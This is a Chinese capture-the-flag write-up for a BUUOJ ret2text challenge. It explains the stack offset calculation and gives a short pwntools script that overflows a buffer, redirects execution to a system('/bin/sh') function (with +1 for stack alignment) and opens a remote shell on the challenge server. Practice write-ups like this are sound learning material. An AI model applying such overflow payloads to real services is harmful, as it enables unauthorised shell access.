刷题记录,题目来源:https://buuoj.cn/
ret2text,提供了直接的getshell函数,控制执行流到该shell函数中即可
查看源代码
发现fun()
函数,内容为system("/bin/sh")
可以直接拿到shell
查看偏移值
【偏移值为15加上8?已解决】
偏移值为0xF,加上64位机器的地址是8字节
db ? ; undefined
db 8 dup(?)
db: 定义字节类型变量的伪指令
dup(): 重复定义圆括号中指定的初值,次数由前面的数值决定
?: 只分配存储空间,不指定初值
参考:https://www.cnblogs.com/Jlay/p/pwn_wp1.html
EXP
from pwn import *
context.arch = "amd64"
#sh = process("./002-rip")
sh = remote('node4.buuoj.cn', 28607)
elf = ELF("./002-rip")
system_addr = elf.symbols["fun"]
payload = flat(cyclic(23), system_addr + 1)
sh.send(payload)
sh.interactive()
system_addr + 1
是为了堆栈平衡,【原理啥的】